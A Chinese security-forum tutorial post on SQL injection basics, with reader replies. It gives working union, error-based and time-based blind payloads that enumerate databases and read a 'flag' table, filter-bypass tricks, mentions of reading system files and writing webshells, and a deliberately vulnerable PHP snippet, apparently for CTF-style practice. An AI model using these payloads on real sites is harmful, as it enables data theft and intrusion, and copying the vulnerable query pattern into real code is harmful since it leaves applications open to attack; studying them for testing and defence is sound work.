首页
社区
课程
招聘
[原创]SQL注入基础
发表于: 2021-9-21 18:29 15639

[原创]SQL注入基础

2021-9-21 18:29
15639

作者:H3h3QAQ

SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行

SQL注入:内联注入是指插入查询注入SQL代码后,原来的查询依然会全部执行

使用联合查询需要注意,前面的字段需要和后面的字段数相等:

select id,user,content from users where id=1 union select 1,2,3

当我们使用 order by 4成功,使用order by 5报错时

就可以判断字段为4

order by是mysql中对查询数据进行排序的方法, 使用示例

所以可以利用order by来查询字段数

在语句末尾,注释查询语句后面的多余字符

#可以被--+代替

Mysql5版本之后,由于information_schema库的存在,注入攻击相对来说方便了许多,其使用方法通常为如下几种:

通过对Mysql的数据进行猜解获取敏感的信息,来进一步通过网站的各种功能获取控制权。

通过load_file()函数来读取脚本代码或系统敏感文件内容,进行漏洞分析或直接获取数据库连接账号、密码。

通过dumpfile/outfile函数导出获取webshell

利用上面的这几种方法,可以很轻易地攻击入侵Mysql5数据库搭建的网站服务器

extractvalue()

作用是从目标xml种返回包含所查询值得字符串

updatexml()

作用就是改变(查找并替换)xml文档中符合条件的节点值

0x3a是:的作用

而且updatexml()较为常用

注入模板:

exp()

当传递有一个大于709的值,函数exp()就会引起一个溢出错误

floor()

floor是mysql的一个取整函数

ascii()括号中的参数转化为相应的ascii码

substr()substr(a,b,c)从b位置开始,截取字符串a的c长度

mid()用法与substr()类似

length()返回str字符串的长度

left(database(),1)取database字符串的左边第一个

if(a,b,c)a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0

sleep()执行挂起一段时间

利用方式:

= = 百度上很多

自己写!!

sql语句是不区分大小写的少数情况下代码中没有过滤完整就可以使用大小写的方法绕过

代码中使用preg_replace()函数对关键字进行替换,并且只进行了一次替换,可以使用双写的方法来绕过

当空格被过滤的情况下,可以使用:

#是注释符,可以用其他注释符绕过

逗号无法用替换法绕过,所以需要其他函数来绕过

在大多数情况下、需要在盲注中绕过逗号

使用substr()mid()这两个语句都可以使用from for来绕过

sleep()通常使用在盲注的延时注入中

如果sleep()被ban,我们可以使用benchmark()函数

substr()通常也在盲注中

可以用mid()substring()left()right()替换

我学习过程中接触了这么多,其他的注入就需要师傅们自己探索咯~ 可以私聊我,我们一起学习哦~

/sql.php?uid=1
/sql.php?uid=1 or 1=1
/sql.php?uid=1
/sql.php?uid=1 or 1=1
[注入]----->[原来的语句]=========>[原来的(注入)语句]
[注入]----->[原来的语句]=========>[原来的(注入)语句]
测试字符串 变种 预期结果
' 触发错误。如果成功,数据库将返回一个错误
1' or '1'='1 1') or ('1'='1 恒为真条件。如果成功,将返回表中所有的行
value' or '1'='2 value1') or ('1'='2 空条件。如果成功,则返回与原来的值相同的结果
1'and '1'='1 1') adn ('1'=1 恒为假条件。如果成功,则不返回表中任何行
1' or 'ab' ='a'+'b 1') or ('ab'='a'+'b Sql server串联。如果成功,则返回永真条件相同的信息
1' or 'ab' ='a' 'b 1') or ('ab'='a' 'b Mysql串联。如果成功,则返回永真条件相同的信息
1' or 'ab' ='a' 'b 1') or ('ab'='a' 'b Mysql串联。如果成功,则返回永真条件相同的信息
测试字符串 变种 预期结果
' 触发错误。如果成功,数据库将返回一个错误
1+1 2-1 如果成功,则返回与操作结果相同的值
value+1 如果成功,则返回与原来请求相同的值
or 1 = 1 1) or (1-1 恒为真条件。如果成功,将返回表中所有的行
value or 1=2 value) or (1=2 空条件。如果成功,则返回与原来的值相同的结果
and 1=2 and (1=2 恒为假条件。如果成功,则不返回表中任何行
1' or 'ab' ='a'+'b 1') or ('ab'='a'+'b Sql server串联。如果成功,则返回永真条件相同的信息
1' or 'ab' ='a' 'b 1') or ('ab'='a' 'b Mysql串联。如果成功,则返回永真条件相同的信息
 
 
select * from 表名 order by 列名(或者数字) asc;升序(默认升序)
select * from 表名 order by 列名(或者数字) desc;降序
select * from 表名 order by 列名(或者数字) asc;升序(默认升序)
select * from 表名 order by 列名(或者数字) desc;降序
select * from users where id = '1'
select * from users where id = '1' union select 1,2,3 #'
select * from users where id = '1'
select * from users where id = '1' union select 1,2,3 #'
 
 
 
 
?id=1'//测试注入点
?id=1' order by 5#//猜字段
?id=0' union select 1,2,3,4# //测试页面回显
?id=0' union select 1,database(),3,4# //查看数据库名
?id=0' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='db'#
?id=0' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name ='flag'#
?id=0' union select 1,content,3,4 from flag#
?id=1'//测试注入点
?id=1' order by 5#//猜字段
?id=0' union select 1,2,3,4# //测试页面回显
?id=0' union select 1,database(),3,4# //查看数据库名
?id=0' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='db'#
?id=0' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name ='flag'#
?id=0' union select 1,content,3,4 from flag#
 
id = 1 and (extractvalue(1,concat(0x5c,(select user()))));
id = 1 and (extractvalue(1,concat(0x5c,(select user()))));
 
id = 1 and(updatexml(0x3a,concat(1,(select user())),1));
id = 1 and(updatexml(0x3a,concat(1,(select user())),1));
 
 
id = 1 and(updatexml(0x3a,concat(1,(select database())),1));
id = 1 and(updatexml(0x3a,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='db')),1));
id = 1 and(updatexml(0x3a,concat(1,(select group_concat(colunm_name) from information_schema.column where table_name='flag')),1));
id = 1 and(updatexml(0x3a,concat(1,(select content from flag)),1));
id = 1 and(updatexml(0x3a,concat(1,(select substring(content,1,10)from flag)),1));
id = 1 and(updatexml(0x3a,concat(1,(select database())),1));
id = 1 and(updatexml(0x3a,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='db')),1));
id = 1 and(updatexml(0x3a,concat(1,(select group_concat(colunm_name) from information_schema.column where table_name='flag')),1));
id = 1 and(updatexml(0x3a,concat(1,(select content from flag)),1));
id = 1 and(updatexml(0x3a,concat(1,(select substring(content,1,10)from flag)),1));
 
id  = 1 and EXP(~(select * from(select user())a));
id  = 1 and EXP(~(select * from(select user())a));
 
id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
 
 
 
 
 
 
and if(mid(version(),1,1)=1,sleep(10),1)
and if(mid(version(),1,1)=1,sleep(10),1)
 
<?php
include ('config.php');
highlight_file(__FILE__);
$id=$_REQUEST["id"];
if (preg_match('/select|union/',$id)){
    die('hack');
}
$result=mysqli_query($con,"SELECT first_name,lastname FROM users WHERE user_id='$id';");
$row =mysqli_fetch_array($result);
echo $row['firstname'].':'.$row['lastname'];
?>
<?php
include ('config.php');
highlight_file(__FILE__);

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2021-9-21 18:36 被H3h3QAQ编辑 ,原因:
收藏
免费 1
支持
分享
最新回复 (8)
雪    币: 10
活跃值: (114)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
学习学习
2021-9-22 10:45
0
雪    币: 73
活跃值: (923)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
mark
2021-9-22 11:33
0
雪    币: 231
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
4
楼主有没有在线的SQL注入靶场推荐
2021-9-22 14:17
0
雪    币: 8
活跃值: (4334)
能力值: ( LV9,RANK:190 )
在线值:
发帖
回帖
粉丝
5
size0f 楼主有没有在线的SQL注入靶场推荐
sqli lab就行
2021-9-22 15:16
0
雪    币: 8
活跃值: (4334)
能力值: ( LV9,RANK:190 )
在线值:
发帖
回帖
粉丝
6
迷路看手机 学习学习
一起学习哦
2021-9-22 15:17
0
雪    币: 3496
活跃值: (749)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
现在都是pdo参数查询,这些注入漏洞都不会起作用了。
2021-9-24 08:48
0
雪    币: 8
活跃值: (4334)
能力值: ( LV9,RANK:190 )
在线值:
发帖
回帖
粉丝
8
kxzpy 现在都是pdo参数查询,这些注入漏洞都不会起作用了。
我一直认为,学习安全不可以落下基础 一定要从最开始的原理开始学习,搞清楚漏洞的原理才可以一劳永逸
2021-9-24 08:59
1
雪    币: 300
活跃值: (2592)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
mark
2021-9-26 16:38
0
游客
登录 | 注册 方可回帖
返回
// // 统计代码